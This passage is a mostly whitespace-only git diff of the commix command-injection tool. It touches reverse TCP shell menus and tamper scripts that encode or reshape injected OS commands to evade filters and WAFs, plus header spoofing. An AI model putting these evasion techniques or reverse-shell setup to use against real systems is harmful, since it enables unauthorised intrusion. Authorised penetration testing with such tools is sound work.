other_reverse_shells(separator): msf_launch_msg(output) break break - # Check for available shell options + # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) @@ -659,12 +659,12 @@ def other_reverse_shells(separator): def reverse_tcp_options(separator): while True: - reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ + reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - if reverse_tcp_option.lower() == "reverse_tcp": + if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -678,18 +678,18 @@ def reverse_tcp_options(separator): elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option else: - pass + pass # Option 2 - Other (Netcat-Without-Netcat) shells elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: shell_success() break - # Check for available shell options + # Check for available shell options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): if shell_options(reverse_tcp_option): return shell_options(reverse_tcp_option) - # Invalid option + # Invalid option else: common.invalid_option(reverse_tcp_option) continue @@ -704,24 +704,24 @@ def configure_reverse_tcp(separator): while True: sys.stdout.write(settings.REVERSE_TCP_SHELL) option = _input() - if option.lower() == "reverse_tcp": + if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue - if option.lower() == "?": + if option.lower() == "?": menu.reverse_tcp_options() continue - if option.lower() == "quit": + if option.lower() == "quit": raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": - settings.REVERSE_TCP = False - break + elif option.lower() == "os_shell" or option.lower() == "back": + settings.REVERSE_TCP = False + break elif option.lower() == "bind_tcp": settings.BIND_TCP = True settings.REVERSE_TCP = False - break + break elif len(settings.LPORT) != 0 and len(settings.LHOST) != 0: - break + break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": if check_lhost(option[10:]): @@ -734,8 +734,8 @@ def configure_reverse_tcp(separator): elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) - continue + print(settings.print_error_msg(err_msg)) + continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): if len(settings.LHOST) == 0: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 42a8434b23..b14bf0e23d 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -46,5 +46,5 @@ def add_back_slashes(payload): return add_back_slashes(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index ce28802e9a..80a1197a97 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -25,5 +25,5 @@ settings.TAMPER_SCRIPTS[__tamper__] = True settings.USE_BACKTICKS = True - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 6b06cd2fca..39d43d44cf 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -33,7 +33,7 @@ def tamper(payload): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() else: @@ -42,4 +42,4 @@ def tamper(payload): payload = payload.decode(settings.DEFAULT_CODEC) return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index bb1da64b9f..c80bb74a82 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -33,7 +33,7 @@ def add_caret_symbol(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if re.compile("\w+").findall(payload): long_string = "" - if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: + if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) rep = { "^^": "^", @@ -54,5 +54,5 @@ def add_caret_symbol(payload): return add_caret_symbol(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index b5a4194e3d..2fb8d61fa6 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -45,4 +45,4 @@ def add_dollar_at_signs(payload): else: return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 8f4d89d1de..1a56ebde91 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -49,5 +49,5 @@ def add_double_quotes(payload): return payload else: return add_double_quotes(payload) - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index a558772774..b91f562d80 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -33,9 +33,9 @@ def tamper(payload): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() - + else: payload = _urllib.parse.unquote(payload) encoded_payload, _ = hexencode(payload) @@ -43,4 +43,4 @@ def tamper(payload): payload = encoded_payload return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index c6dd066fff..1b9745ba32 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -26,4 +26,4 @@ settings.TAMPER_SCRIPTS[__tamper__] = True settings.WHITESPACES[0] = settings.WHITESPACES[0] * random.randrange(2, 8) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 3b761cd034..4098e71c52 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -45,8 +45,8 @@ def nested(payload): menu.options.suffix = menu.options.suffix + double_quote else: menu.options.suffix = double_quote - return payload - + return payload + if settings.TARGET_OS != settings.OS.WINDOWS: if settings.EVAL_BASED_STATE != False: return payload @@ -55,4 +55,4 @@ def nested(payload): else: return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index e9b292d76f..29d67a96c6 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -32,4 +32,4 @@ def printf_to_echo(payload): return printf_to_echo(payload) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 696fa4bf43..4e94d4d045 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -17,9 +17,9 @@ from src.thirdparty.six.moves import urllib as _urllib """ -About: Is used to reverse (characterwise) the user-supplied operating system commands. +About: Is used to reverse (characterwise) the user-supplied operating system commands. Notes: This tamper script works against Unix-like target(s). -References: [1] https://github.com/commixproject/commix/issues/408 +References: [1] https://github.com/commixproject/commix/issues/408 [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b """ @@ -38,4 +38,4 @@ def tamper(payload): payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 7a13939344..7820579b49 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -44,5 +44,5 @@ def add_single_quotes(payload): return add_single_quotes(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index cfe7b60a1e..69b52e66d4 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -41,5 +41,5 @@ def add_slash2env(payload): return add_slash2env(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 04f4be2178..523db81ac5 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -21,7 +21,7 @@ """ About: Uses "timeout" function for time-based attacks. - * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". + * Regarding Unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. """ @@ -54,7 +54,7 @@ def sleep_to_timeout_ping(payload): settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: return sleep_to_timeout_ping(payload) - + return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index d61c1f1e5d..5386590189 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -38,8 +38,8 @@ def sleep_to_usleep(payload): if match.group(0).split(settings.WHITESPACES[0])[1] != "0": usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + "0" * 6 else: - usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] - payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) + usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] + payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload if settings.TARGET_OS != settings.OS.WINDOWS: @@ -56,5 +56,5 @@ def sleep_to_usleep(payload): return sleep_to_usleep(payload) else: return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index e4c7dec6f1..c67b91b8f7 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -31,7 +31,7 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2htab elif space2htab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2htab) + settings.WHITESPACES.append(space2htab) return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 49e68cf4ba..1432916146 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -17,7 +17,7 @@ """ About: Replaces space character ('%20') with the internal field separator ('$IFS'). -The internal field separator refers to a variable which defines the character +The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. Notes: This tamper script works against Unix-like target(s). """ @@ -34,10 +34,10 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2ifs elif space2ifs not in settings.WHITESPACES: - settings.WHITESPACES.append(space2ifs) + settings.WHITESPACES.append(space2ifs) else: if space2ifs in settings.WHITESPACES: settings.WHITESPACES.remove(space2ifs) return payload - -# eof + +# eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 22b37a6d5f..8cbf78f29d 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -31,7 +31,7 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2plus elif space2plus not in settings.WHITESPACES: - settings.WHITESPACES.append(space2plus) - return payload - -# eof \ No newline at end of file + settings.WHITESPACES.append(space2plus) + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 5d7c268039..4ae1c8fca4 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -32,10 +32,10 @@ def tamper(payload): if settings.WHITESPACES[0] == "%20": settings.WHITESPACES[0] = space2vtab elif space2vtab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2vtab) + settings.WHITESPACES.append(space2vtab) else: if space2vtab in settings.WHITESPACES: settings.WHITESPACES.remove(space2vtab) return payload - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 9ef2e8bdd1..98f05c9536 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -49,4 +49,4 @@ def add_uninitialized_variable(payload): else: return payload -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 62953c089b..70cbc91691 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -26,7 +26,7 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True - + def tamper(request): def randomIP(): numbers = [] @@ -44,4 +44,4 @@ def randomIP(): request.add_header('CF-IPCountry', random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py index 666f344ec5..6648dc7b04 100644 --- a/src/thirdparty/colorama/ansi.py +++ b/src/thirdparty/colorama/ansi.py @@ -99,7 +99,7 @@ class AnsiBack: BLACK = RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0 # These are fairly well supported, but not part of the standard. - LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 + LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0 class AnsiStyle: diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py index e74cd45430..4070d740eb 100644 --- a/src/thirdparty/flatten_json/__init__.py +++ b/src/thirdparty/flatten_json/__init__.py @@ -2,7 +2,7 @@ # encoding: UTF-8 """ -Flattens JSON objects in Python. +Flattens JSON objects in Python. flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. """ diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 369450bee5..2ca0b67c5f 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Flattens JSON objects in Python. +Flattens JSON objects in Python. flatten_json flattens the hierarchy in your object which can be useful if you want to force your objects into a table. https://github.com/amirziai/flatten diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py index a118a02dd2..2d8951f0fe 100644 --- a/src/thirdparty/odict/__init__.py +++ b/src/thirdparty/odict/__init__.py @@ -5,5 +5,5 @@ if sys.version_info[:2] >= (2, 7): from collections import OrderedDict else: - from src.thirdparty.six.moves import collections_abc as _collections + from src.thirdparty.six.moves import collections_abc as _collections from _collections import OrderedDict diff --git a/src/utils/common.py b/src/utils/common.py index 66aabcb2ad..c5b082c832 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -39,7 +39,7 @@ def invalid_option(option): """ def invalid_cmd_output(cmd): err_msg = "The execution of '" + cmd + "' command, does not return any output." - return err_msg + return err_msg """ Reads input from terminal @@ -114,7 +114,7 @@ def running_as_admin(): if settings.PLATFORM in ("posix", "mac"): _ = os.geteuid() if isinstance(_, (float, six.integer_types)) and _ == 0: - is_admin = True + is_admin = True elif settings.IS_WINDOWS: import ctypes @@ -162,7 +162,7 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.DEFAULT_CODEC) - + key = hashlib.md5(_).hexdigest()[:8] bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" @@ -179,9 +179,9 @@ def create_github_issue(err_msg, exc_msg): print(settings.SINGLE_WHITESPACE) return else: - invalid_option(choise) + invalid_option(choise) pass - except: + except: print("\n") raise SystemExit() @@ -200,15 +200,15 @@ def create_github_issue(err_msg, exc_msg): if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" - warn_msg += ".\n" + warn_msg += ".\n" print(settings.print_warning_msg(warn_msg)) return except: pass data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} - request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", - data = json.dumps(data).encode(), + request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", + data = json.dumps(data).encode(), headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} ) try: @@ -247,7 +247,7 @@ def unhandled_exception(): match = re.search(r"\s*(.+)\s+ValueError", exc_msg) err_msg = "Identified corrupted .pyc file(s)." err_msg += "Please delete .pyc files on your system to fix the problem." - print(settings.print_critical_msg(err_msg)) + print(settings.print_critical_msg(err_msg)) raise SystemExit() elif "must be pinned buffer, not bytearray" in exc_msg: @@ -286,7 +286,7 @@ def unhandled_exception(): raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " + err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 95bb2d2d80..db8a2bb416 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re @@ -49,13 +49,13 @@ def set_crawling_depth(): message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break + break elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass - + # Change the crawling depth level. if message in settings.CHOICE_YES: while True: @@ -94,7 +94,7 @@ def normalize_results(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass @@ -119,8 +119,8 @@ def store_crawling(output_href): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) - pass + common.invalid_option(message) + pass """ @@ -152,7 +152,7 @@ def sitemap(url): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass no_usable_links(sitemap_loc) return sitemap_loc @@ -193,13 +193,13 @@ def enable_crawler(): message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: menu.options.crawldepth = 1 - break + break if message in settings.CHOICE_NO: - break + break elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass set_crawling_depth() @@ -220,7 +220,7 @@ def check_sitemap(): elif message in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(message) + common.invalid_option(message) pass """ @@ -304,7 +304,7 @@ def crawler(url, url_num, crawling_list): settings.DEFAULT_CRAWLING_DEPTH = 1 while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): info_msg = "Searching for usable " - info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." print(settings.print_info_msg(info_msg)) if settings.DEFAULT_CRAWLING_DEPTH == 2: output_href = new_crawled_hrefs @@ -312,11 +312,11 @@ def crawler(url, url_num, crawling_list): output_href = new_crawled_hrefs + crawled_hrefs try: [output_href.remove(x) for x in visited_hrefs if x in output_href] - except TypeError: + except TypeError: pass link = 0 if output_href is not None: - for url in output_href: + for url in output_href: if url not in visited_hrefs and url is not None: link += 1 settings.CRAWLED_URLS_NUM = link @@ -325,7 +325,7 @@ def crawler(url, url_num, crawling_list): visited_hrefs.append(url) do_process(url) info_msg = str(link) - info_msg += "/" + str(len(output_href)) + " links visited." + info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if link != 0: diff --git a/src/utils/install.py b/src/utils/install.py index 44f1bf1b30..49968b9f7d 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -41,36 +41,36 @@ def uninstaller(): except: print(settings.SINGLE_WHITESPACE) raise SystemExit() - + sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - info_msg = "The un-installation of commix has finished!" + info_msg = "The un-installation of commix has finished!" print(settings.print_bold_info_msg(info_msg)) - + """ The installer. """ def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" - + info_msg = "Starting the installer. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - + # Check if OS is Linux. if settings.PLATFORM == "posix": # You need to have administrative privileges to run this script. if not common.running_as_admin(): - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) err_msg = "You need to have administrative privileges to run this option." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that " + settings.APPLICATION + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." print(settings.print_warning_msg(warn_msg)) while True: @@ -80,12 +80,12 @@ def installer(): uninstaller() raise SystemExit() elif uninstall in settings.CHOICE_NO or \ - uninstall in settings.CHOICE_QUIT: + uninstall in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(uninstall) pass - + # Check for git. if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): # Install requirement. @@ -99,18 +99,18 @@ def installer(): else: print(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any " - err_msg += "other Linux distro than Ubuntu / Debian. " + err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies print(settings.print_critical_msg(err_msg)) print(settings.SINGLE_WHITESPACE) raise SystemExit() - + # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - info_msg = "Installing " + settings.APPLICATION + info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + ". " sys.stdout.write(settings.print_info_msg(info_msg)) try: @@ -122,11 +122,11 @@ def installer(): raise SystemExit() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - - info_msg = "Installing " + settings.APPLICATION + + info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + ". " sys.stdout.write(settings.print_info_msg(info_msg)) - try: + try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') @@ -136,13 +136,13 @@ def installer(): raise SystemExit() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - + #Create the Output Directory try: os.stat(settings.OUTPUT_DIR) except: try: - os.mkdir(settings.OUTPUT_DIR) + os.mkdir(settings.OUTPUT_DIR) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." @@ -151,8 +151,8 @@ def installer(): print(settings.print_critical_msg(error_msg)) raise SystemExit() - info_msg = "The installation is finished! Type '" - info_msg += settings.APPLICATION + "' to launch it." + info_msg = "The installation is finished! Type '" + info_msg += settings.APPLICATION + "' to launch it." print(settings.print_bold_info_msg(info_msg)) else : diff --git a/src/utils/logs.py b/src/utils/logs.py index 42966c5471..65f871d5fd 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -36,7 +36,7 @@ def path_creation(path): if not os.path.exists(path): try: - os.mkdir(path) + os.mkdir(path) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." @@ -63,7 +63,7 @@ def logs_filename_creation(url): if not output_dir.endswith("/"): output_dir = output_dir + "/" - + # The logs filename construction. filename = create_log_file(url, output_dir) @@ -90,10 +90,10 @@ def create_log_file(url, output_dir): else: err_msg = "The provided session file ('" + \ menu.options.session_file + \ - "') does not exist." + "') does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: + raise SystemExit() + else: settings.SESSION_FILE = logs_path + "session.db" # Load command history @@ -119,7 +119,7 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]) + "." print(settings.print_critical_msg(error_msg)) raise SystemExit() - + return filename """ @@ -166,7 +166,7 @@ def update_payload(filename, counter, payload): output_file.close() """ -Add any executed command and +Add any executed command and execution output result in log files. """ def executed_command(filename, cmd, output): diff --git a/src/utils/menu.py b/src/utils/menu.py index ad72510ffe..de31661fb1 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -30,10 +30,10 @@ The commix's banner. """ def banner(): - print(""" __ - ___ ___ ___ ___ ___ ___ /\_\ __ _ + print(""" __ + ___ ___ ___ ___ ___ ___ /\_\ __ _ /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """ -/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> ) to quit commix. @@ -664,7 +664,7 @@ def os_shell_options(): The "reverse_tcp" available options. """ def reverse_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ + print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -676,7 +676,7 @@ def reverse_tcp_options(): The "bind_tcp" available options. """ def bind_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ + print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -688,7 +688,7 @@ def bind_tcp_options(): The available mobile user agents. """ def mobile_user_agents(): - print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ + print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. diff --git a/src/utils/purge.py b/src/utils/purge.py index a34458552e..6dbf51a59f 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -41,12 +41,12 @@ def purge(): print(settings.print_warning_msg(warn_msg)) return info_msg = "Purging content of directory '" + directory + "'" - if not settings.VERBOSITY_LEVEL != 0: + if not settings.VERBOSITY_LEVEL 